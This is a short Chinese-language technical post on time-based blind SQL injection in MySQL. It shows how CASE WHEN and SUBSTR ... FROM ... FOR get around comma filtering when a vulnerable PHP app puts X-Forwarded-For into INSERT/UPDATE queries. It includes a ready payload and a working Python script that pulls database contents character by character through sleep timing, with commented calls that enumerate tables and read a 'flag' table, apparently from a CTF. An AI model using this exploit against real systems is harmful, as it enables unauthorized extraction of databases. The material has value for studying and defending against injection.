sql注入时case when ... then ... else ...end 的应用
在基于时间的盲注的时候,一般使用的是if语句,如果符合条件就sleep,但是部分不能使用逗号的场景下,还可以使用case when #condition then ... else ... end
语句来代替if语句,参考http://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html。
某开源系统中
1$this->ip = mysqli_real_escape_string($mysqli,$_SERVER['REMOTE_ADDR']);
2if( !empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ){
3 $REMOTE_ADDR = $_SERVER['HTTP_X_FORWARDED_FOR'];
4 $tmp_ip=explode(',',$REMOTE_ADDR);
5 $this->ip = $tmp_ip[0];
6}
然后注入点在insert和update语句中。一个盲注场景,没有报错和回显。
这里在X-FORWARDED-FOR
中按照逗号分隔取IP,而这个字段是用户可控的,需要不出现逗号,或者第一个逗号之前是完整的payload,所以这里不能使用if了,而是使用case语句代替。
当然mid函数也不能用了,需要替换为substr($string from $post for $length)
的写法。
如果$string
是sql语句,那就加一个括号。
然后可以按照 /index.php/archives/590/ 逐步的获取全部数据。
一个例子是1.1.1.1' and case when ord(substr((select username from db.table limit 1) from 1 for 1))=98 then sleep(2) else 1 end and '1.2.3.4
最终实现的代码是
1# coding=utf-8
2import time
3import requests
4
5
6url = "http://example.com/"
7
8
9def get_info(sql):
10 print (sql, )
11 for position in range(1, 30):
12 for ord in range(32, 127):
13 start_time = time.time()
14 xff = "1.1.1.1' and case when ord(substr({sql} from {position} for 1))={ord} then sleep(3) else 1 end and '1.2.3.4".format(sql=sql, position=str(position), ord=ord)
15 # print(xff)
16 r = requests.get(url, headers={"X-FORWARDED-FOR": xff})
17 end_time = time.time()
18 if end_time - start_time > 2.9:
19 print (position, chr(ord))
20 break
21 # print (position, c)
22 else:
23 return
24
25#get_info("version()")
26#get_info("user()")
27#for i in range(2):
28# get_info("(select table_name from information_schema.tables where table_schema='ip_db' limit 1 offset {offset})".format(offset=i))
29
30#get_info("(select column_name from information_schema.columns where table_name='flag' and table_schema='ip_db' limit 1)")
31#get_info("(select flag from ip_db.flag limit 1)")